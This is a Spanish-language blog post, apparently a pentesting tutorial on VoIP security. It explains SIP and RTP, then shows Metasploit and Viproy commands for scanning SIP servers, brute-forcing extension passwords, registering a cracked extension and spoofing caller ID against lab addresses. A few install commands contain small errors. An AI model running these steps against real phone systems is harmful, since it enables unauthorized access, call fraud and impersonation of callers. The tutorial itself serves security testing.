Tienda Wifi

Tienda Wifi
CiudadWireless es la tienda Wifi recomendada por elhacker.NET

Entradas Mensuales

Síguenos en:

Canal Oficial Telegram de elhacker.NET Grupo Facebook elhacker.NET Twitter elhacker.NET Canal Youtube elhacker.NET Comunidad Steam: Grupo elhacker.NET Mastodon

Entradas populares

PostHeaderIcon Auditoría de seguridad VoIP de Asterisk con Metasploit y ViProy


La adopción de la tecnología de voz sobre protocolo IP (VoIP) cada vez es más amplia, permitiendo a las organizaciones comunicarse a distancias enormes y de forma muy fácil. No obstante, la mayoría de las organizaciones ignoran las potenciales fallas de seguridad asociadas al uso de esta tecnología. 




¿Qué es VoIP?

Antes de comenzar, cabe recordar más detalles sobre esta tecnología. La implementación de VoIP permite realizar llamadas de audio utilizando una conexión a Internet en lugar de un teléfono convencional. Algunos socios de puerta de enlace VoIP pueden permitirle llamar a otras personas que tengan un número de teléfono, incluidos números locales, de larga distancia, móviles e internacionales.

VoIP utiliza 5060 como puerto de señalización SIP de forma predeterminada. Se utiliza para registrar el teléfono (por ejemplo, Cisco, Polycom, etc.)

Entre las funciones más importantes de VoIP se encuentran:

  • Uso de múltiples líneas
  • Servicio de correo de voz
  • Grabación de voz
  • Registro de llamadas
  • Configuraciones modulares

Protocolo SIP

Session Initiation Protocol (SIP) permite a los usuarios establecer comunicaciones, finalizar o modificar llamadas de voz o video. El tráfico de voz o video se transmite mediante el protocolo en tiempo real (RTP). SIP es un protocolo de capa de aplicación que utiliza UDP o TCP para el tráfico. De forma predeterminada, SIP usa el puerto UDP/TCP 5060 para tráfico no cifrado o 5061 para tráfico cifrado TLS.

Como veremos más adelante, existen vectores de ataque Man-in-The-Middle (MiTM) para las implementaciones de VoIP. El protocolo de inicio de sesión se basa en ASCII y es muy similar al protocolo HTTP en que utiliza un modelo de solicitud/respuesta. Las solicitudes de un cliente SIP se realizan a través de SIP URI y AGI a través de un agente de usuario.


Respuestas SIP

Podemos entender las respuestas usando el código de respuesta. Las categorías generales de códigos de respuesta se muestran a continuación:

  • 1xx (de información)
  • 2xx (éxito)
  • 3xx (redirección)
  • 4xx (solicitudes fallidas)
  • 5xx (el servidor web no puede completar la solicitud)
  • 6xx (errores globales)

Estructura de funcionamiento SIP

Una estructura de interfuncionamiento SIP típica consta de lo siguientes elementos:

  • El remitente inicia una solicitud INVITE
  • El destinatario responde 100 (intenta llamar)
  • El remitente comienza a llamar enviando una respuesta 180 (Ring)
  • El receptor descuelga el teléfono y envía 200 respuestas exitosas (OK)
  • ACK enviado por el iniciador
  • La llamada comienza a usar RTP
  • Se envía una solicitud BYE para finalizar la llamada

Protocolo de Transporte en Tiempo Real (RTP)

Este es un protocolo de red para transmitir audio y video. RTP se utiliza en sistemas de comunicaciones y entretenimiento que contienen medios de transmisión por secuencias, como apps móviles y video o conferencias. El puerto RTP estándar es 16384 a 32767, estos puertos se utilizan para llamadas SIP. En este caso, usan el rango de puertos UDP 10000-20000 para canales de video, voz y flujo de medios RTP.

Configuraciones empleadas en escenarios reales

  • Sistema operativo: Kali Linux 2020.1
  • Dirección IP: 192.168.1.4
  • Objetivo: Trixbox
  • Cliente VoIP:  Zoiper
  • Dirección IP del cliente: 192.168.1.7

Configuración del kit Viproy VoIP

Antes de comenzar el proceso de pentesting, debemos agregar el kit Viproy-VoIP a nuestro Metasploit. Necesitamos instalar algunas dependencias. Primero actualizaremos nuestras fuentes y luego instalaremos las siguientes dependencias:

sudo apt update && sudo apt install -y git autoconf build-essential libcap-dev libpq-dev zliblg-dev libsqlite3-dev

Una vez que se han instalado todas las dependencias, es hora de clonar el Repositorio de Viproy en el sistema Kali Linux. Este contiene los módulos que necesitamos agregar a nuestro Metasploit.

git clone https://github.com/fozavci/viproy-VoIPkit.git

Aquí vemos que tenemos un directorio lib y un directorio de módulos, así como un script kaliinstall. Antes de ejecutar el script, hay que copiar manualmente el contenido del directorio lib y el directorio de módulos al directorio lib y módulos de Metasploit, respectivamente.

cd /viproy-VoIPkit/modules/auxiliary/ 
cp -r voip/ /usr/share/metasploit-framework/modules/auxiliary/VoIP/
cd /viproy-VoIPkit/modules/auxiliary/spoof/ cp viproy_cdp.rb /usr/share/metasploit-framework/modules/auxiliary/VoIP/


Ahora necesitamos registrar los módulos que copiamos en los archivos Mixins ubicados en /usr/share/Metasploit-framework/lib/msf/core/Additional/.


echo "require 'msf/core/auxiliary/sip'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb

 

echo "require 'msf/core/auxiliary/skinny'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb
echo "require 'msf/core/auxiliary/msrp'" >> /usr/share/metasploit-framework/lib/msf/core/auxiliary/mixins.rb

 Esto también se puede hacer manualmente o con otro editor de texto. A continuación, clonamos la versión precompilada de GitHub.

git clone https://github.com/fozavci/metasploit-framework-with-viproy.git

Luego iremos al directorio e instalaremos viproy usando gem.

cd metasploit-framework-with-viproy/
gem install bundler
bundle install


Después de eso, tendremos que volver a cargar los módulos en Metasploit.

reload_all


Esto completa la instalación de Viproy Toolkit, por lo que ahora podremos comenzar con el pentesting en nuestro servidor VoIP objetivo. En una red VoIP, la información útil puede encontrarse en gateways o servidores VoIP, sistemas IP-PBX, software de cliente/teléfonos VoIP y extensiones de usuario. Echemos un vistazo a algunas de las herramientas de conteo y toma de huellas digitales más utilizadas. 


Reconocimiento del servidor SIP

Usando el módulo de escáner SIP Metasploit para identificar sistemas proporcionando una única IP o un rango de direcciones IP, los expertos en pentesting podrán escanear todos los servidores VoIP y sus parámetros habilitados.

use auxiliary/scanner/sip/options
set rhosts 192.168.1.0/24
run


Ataques de fuerza bruta

Posteriormente es posible usar un ataque de fuerza bruta en el servidor objetivo para extraer sus contraseñas. En este ejemplo, los expertos en pentesting crearon un diccionario de nombres de usuario y uno de contraseñas. El siguiente paso es definir las extensiones, para lo que es posible seleccionar un rango de 0000000 a 99999999 y finalmente lanzar el exploit. 

use auxiliary/voip/viproy_sip_bruteforce
set rhosts 192.168.1.7
set minext 00000000
set maxext 99999999
set user_file /home/kali/user.txt
set pass_file /home/kali/pass.txt
exploit


Registro de extensión

Ahora es el momento de dar un paso más y registrar las extensiones para que podamos iniciar llamadas desde la computadora del atacante. Elegimos la extensión 99999999. Descubrimos el secreto del 999. Ahora todo lo que teníamos que hacer era proporcionar la dirección IP, la extensión y el secreto del servidor.

Tan pronto como iniciamos el dispositivo de asistencia, recibimos una respuesta 200 OK del servidor, que decía que la extensión estaba registrada con esta dirección IP. 

use auxiliary/voip/viproy_sip_register

set rhosts 192.168.1.7

set username 99999999

set password 999

run

Aquí necesitamos registrar el software ya que no tenemos una línea troncal, línea PSTN o línea PRI para llamadas salientes. Por lo tanto, estamos probando la extensión para invocarla.

Falsificación de llamadas

Aquí podremos falsificar el identificador de llamadas a voluntad. Acorde a los expertos en pentesting, necesitamos definir el inicio de sesión como verdadero para que podamos iniciar sesión en el servidor con el secreto 999. También necesitamos establecer el usuario numérico en verdadero para que pueda aceptar extensiones numéricas.

use auxiliary/voip/viproy_sip_invite

set rhosts 192.168.1.7

set to 00000000

set from 99999999

set login true

set fromname hacker

set username 99999999

set password 999

set numeric users true

run

En cuanto lancemos el dispositivo auxiliar, veremos que hay una llamada desde la extensión 999999999 a la extensión 00000000, la cual configuramos en nuestro cliente Zoiper. También podemos ver que tenemos el identificador de llamadas del hacker que hemos identificado en el dispositivo de asistencia. 


Monitoreo de registros

Podemos monitorear los registros en el servidor de VoIP, que contiene información sobre todas las llamadas que se iniciaron, conectaron y desconectaron. Acorde a los expertos en pentesting, podremos verificar las credenciales predeterminadas. Primero conectaremos el servidor usando ssh y luego ejecutaremos el siguiente comando para abrir el panel de la consola de Asterisk.

ssh 192.168.1.7

asterisk -rvvvvvvvvvvvvvvv


0 comentarios :

Publicar un comentario

Los comentarios pueden ser revisados en cualquier momento por los moderadores.

Serán publicados aquellos que cumplan las siguientes condiciones:
- Comentario acorde al contenido del post.
- Prohibido mensajes de tipo SPAM.
- Evite incluir links innecesarios en su comentario.
- Contenidos ofensivos, amenazas e insultos no serán permitidos.

Debe saber que los comentarios de los lectores no reflejan necesariamente la opinión del STAFF.